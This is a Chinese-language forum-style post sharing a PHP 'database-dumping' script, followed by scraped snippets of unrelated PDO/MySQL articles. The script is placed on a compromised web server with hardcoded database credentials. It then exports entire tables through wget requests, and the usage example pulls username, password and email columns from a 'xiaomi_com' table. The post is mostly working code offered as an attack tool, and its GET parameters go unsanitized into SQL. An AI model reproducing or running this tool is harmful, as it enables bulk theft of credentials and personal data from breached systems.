PHP wget 增强脱裤脚本(PDO MYSQL)

脚本参考了 LCX Gavin2位前辈的帖子.在此表示非常的感谢.

https://www.t00ls.net/thread-26740-1-1.html

https://www.t00ls.net/thread-26791-1-1.html

说明:脚本支持PDO和MYSQL 2种方式 优先使用PDO .如果服务器不支持PDO  就选择MYSQL 方式. 个人认为  PDO 的好处有效率高  代码简洁 通用性好  这代码稍作改动就可以拿去脱mssql

不过用php和mssql组合的应该不多- -!

使用方法  首先要脚本中配置好主机地址 端口 数据库名称 用户名  密码 以及数据库的编码方式(常用GPK 或者UTF8 设置不对中文字段可能会出现乱码);

然后就是构造wget的url地址:参数由$_GET传递到服务器

t=                          //必须 表名 否则程序会退出

f=                        //可选   需要脱的字段 通过英文逗号分割

s=                       //可选  起始位置  如未设置从0开始

e=                      //可选   结束位置  如果未设置为全部数据

l=                         //可选 分段长度  默认设置为5000

在shell终端下执行 wget "http://localhost/getsql.php?t=‘xiaomi_com‘&f=username,password,email&s=0&e=2000000$l=5000" -O data.txt 然后坐等下载

代码:

<?php
//使用方法: wget "http://localhost/getsql.php?t=‘xiaomi_com‘&f=username,password,email&s=0&e=2000000$l=5000" -O data.txt
//借鉴了 LCX Gavin 2大前辈的脚本.
//                LCX          [url=https://www.t00ls.net/thread-26740-1-1.html]https://www.t00ls.net/thread-26740-1-1.html[/url]
//                Gavin [url=https://www.t00ls.net/thread-26791-1-1.html]https://www.t00ls.net/thread-26791-1-1.html[/url]
//

        error_reporting(0);
        ignore_user_abort();
        set_time_limit(0);
        ob_clean();

        define(‘DB_HOST‘, ‘127.0.0.1‘);
        define(‘DB_PORT‘,‘3306‘);
        define(‘DB_NAME‘, ‘thinkphp‘);
        define(‘DB_USER‘, ‘root‘);
        define(‘DB_PASS‘, ‘wanan‘);
        define(‘DB_CHAR‘, ‘utf8‘);

        $type=class_exists(‘PDO‘)?‘PDO‘:‘MYSQL‘;
        $table=$_GET[‘t‘]?$_GET[‘t‘]:die(‘表名必须!‘);                                                //表名          必须 t
        $limit_start=$_GET[‘s‘]?intval($_GET[‘s‘]):0;                                                //开始条数  可选 s 默认为0
        $limit_end=$_GET[‘e‘]?intval($_GET[‘e‘]):0;                                                        //结束条数  可选 e 默认为所有
        $limit_length=$_GET[‘l‘]?intval($_GET[‘l‘]):5000;                                        //分段条数  可选 l 默认为5000
        $filed=$_GET[‘f‘]?$_GET[‘f‘]:‘*‘;                                                                        //字段名         可选 f        用,分割没有则为全部字段 

        if($type==‘PDO‘){
                $dsn=‘mysql:host=‘.DB_HOST.‘;port=‘.DB_PORT.‘;dbname=‘.DB_NAME;
                $options = array(
                        PDO::MYSQL_ATTR_INIT_COMMAND => ‘SET NAMES ‘.DB_CHAR,
                );
                try{
                                 $dbh = new PDO($dsn,DB_USER,DB_PASS,$options);
                }catch (PDOException $e) {
                        die(‘PDO ERROR!‘);
                }
                $sql=‘SELECT COUNT(-1) FROM `‘.$table.‘`;‘;
                $do=$dbh->query($sql);
                if($do){
                        $count=$do->fetch();
                }else{
                        die(‘PDO COUNT ERROR‘);
                }
                $limit_end=($limit_end)?$limit_end:$count[0];
                $limit_end=$limit_end-$limit_start;
                $limit_length=$limit_end>$limit_length?$limit_length:$limit_end;
                $section=ceil($limit_end/$limit_length);
                if (ob_get_level() == 0){
                                ob_start();
                }else{
                                die(‘PDO ERROR‘);
                }
                for($i=0;$i<$section;$i++){
                        $sql=‘SELECT ‘.$filed.‘ FROM  ‘.$table.‘ LIMIT ‘.($limit_start+1+$i*$limit_length).‘,‘.$limit_length.‘;‘;
                        $s=$dbh->query($sql);
                        $arr=$s->fetchALL(PDO::FETCH_ASSOC);
                        foreach ($arr as $value) {
                                echo(implode(‘        ‘, $value)."\n");
                        }
                        ob_end_flush();
                }

        }else{
                $link=mysql_connect(DB_HOST.‘:‘.DB_PASS,DB_USER,DB_PASS);
                if($link){
                        mysql_select_db(DB_NAME,$link);
                        mysql_query(‘SET NAMES ‘.DB_CHAR);
                        $sql=‘SELECT COUNT(-1) FROM `‘.$table.‘`;‘;
                        $count=mysql_fetch_array(mysql_query($sql));
                        $limit_end=($limit_end)?$limit_end:$count[0];
                        $limit_end=$limit_end-$limit_start;
                        $limit_length=$limit_end>$limit_length?$limit_length:$limit_end;
                        $section=ceil($limit_end/$limit_length);
                        if (ob_get_level() == 0){
                                ob_start();
                        }else{
                                die(‘MYSQL ERROR‘);
                        }
                        for($i=0;$i<$section;$i++){
                                $sql=‘SELECT ‘.$filed.‘ FROM  ‘.$table.‘ LIMIT ‘.($limit_start+1+$i*$limit_length).‘,‘.$limit_length.‘;‘;
                                $a=mysql_query($sql);
                                if($b=mysql_fetch_row($a)){
                                        do{
                                                echo(implode(‘        ‘, $b)."\n");
                                        }while($b=mysql_fetch_row($a));
                                }
                                ob_end_flush();
                        }
                }else{
                        die(‘MYSQL ERROR!‘);
                }

        }

        ?>

PHP wget 增强脱裤脚本(PDO MYSQL)

时间: 2024-10-14 14:10:34

PHP wget 增强脱裤脚本(PDO MYSQL)的相关文章

php PDO mysql写法

php PDO写法连接mysql: 写法一: $db="mysql:host=localhost;dbname=sql" : //连接数据,地址localhost:数据库名称sql: $username="root"; //数据库登录账号: $password="root"; //数据库登录密码: try{ $pdo=new PDO($db,$username,$password);   //连接数据库赋值$pdo; }catch(PDOExce

PHP扩展PDO MySQL之PDOStatement::bindParam vs bindValue

PHP扩展PDO MySQL之PDOStatement::bindParam vs bindValue技术 maybe yes 发表于2015-11-16 13:27 原文链接 : http://blog.lmlphp.com/archives/155/The_difference_of_PDOStatement_bindParam_and_bindValue_of_PHP_extension_PDO_MySQL  来自 : LMLPHP后院 前些日子将 LBlog 在线体验站点 http://

Ubuntu系统 PHP PDO MySQL Extension Loaded

PHP's PDO MySQL extension must be loaded. This is not the same as the MySQLi extension. Please refer to PHP's PDO documentation for more information. 安装php5-snmp CLI PDO MySQL Support 安装php5-mysql

php pdo mysql数据库操作类

原文:php pdo mysql数据库操作类 findAll(array( 'field'=>'ID,albumName,albumImage, mainActor,directors,tags,info,area, keywords,wflag,year,mod_version,totalDuration', 'where'=>$where, 'order'=>'flag desc,hit_count desc', 'limit'=>"{$limit['offset']

centos7.2 pdo mysql扩展

前言 选择是一个崭新的开端,选择高耸入云的峭崖便需有"路漫漫其修远兮,吾将上下而求索"的信念;选择波涌浪滚的大海便需有"直挂云帆济沧海"的壮志豪情;选择寒风劲厉的荒漠便需有"醉卧沙场君莫笑,古来征战几人回"的博大胸怀----- 一 .安装pdo-mysql错误1 首先下载解压包 把安装包指定路径 1. tar zvxf /root/media/var/PDP_MYSQL 2. cd /root/media/var/PDO_MYSQL 3. 记住先

Centos中安装PHP的PDO MySQL扩展的教程

一聚教程网 >操作系统>>CentOS > Centos中安装PHP的PDO MySQL扩展的教程 www.111cn.net 编辑:Bolshevik 来源:转载 天在寻思着安装 Drupal 玩一下,在安装的过程中发现数据库选项只支持 SQLite 而没有 MySQL.纳尼?为什么会这样?结果发现没有编译安装PDO MySQL导致的.于是赶紧更新LAMP一键安装脚本. PHP Data Objects(PDO)扩展为 PHP 访问数据库定义了一个轻量级的一致接口.实现 PDO

pdo mysql错误:Cannot execute queries while other unbuffered queries are active

运行环境:PHP 5.5.30-x64,MYSQL  5.6.27 错误代码:Cannot execute queries while other unbuffered queries are active.  Consider using PDOStatement::fetchAll().  Alternatively, if your code is only ever going to run against mysql, you may enable query buffering by

swoole结合php的pdo mysql模式出现MySQL server has gone away

mysql做为php的黄金搭档和互联网上应用最广泛的数据库,免不了天天与之打交道,不少朋友在熟悉swoole的使用之后,也趟平了不少坑,准备实战了,终于上线了,正愉快的体验swoole带来的巨大改进,突然数据库操作bug了,大量报mysql server gone away, 于是swooler心里千万之草尼马奔腾而过,大骂,swoole误我--- 且慢!!!这真不是swoole的问题!!!!不是swoole的问题!!!!不是swoole的问题!!!!(重要的事情说三遍) 原因     不是sw

PHP中MySQL、MySQLi和PDO的用法和区别【原创】

对于一个初学PHP的自己,对数据库的连接有着很大的疑惑,从Java转到PHP.数据库连接变了,以前只知道JDBC连接数据库,或者直接用框架调用,对于的PHP的数据库连接方式,及其应用.不是很了解,于是查阅了很多资料及自己实际操作,写下自己的一点总结笔记. PHP的MySQL扩展(优缺点) 设计开发允许PHP应用与MySQL数据库交互的早期扩展.mysql扩展提供了一个面向过程 的接口: 并且是针对MySQL4.1.3或更早版本设计的.因此,这个扩展虽然可以与MySQL4.1.3或更新的数 : 据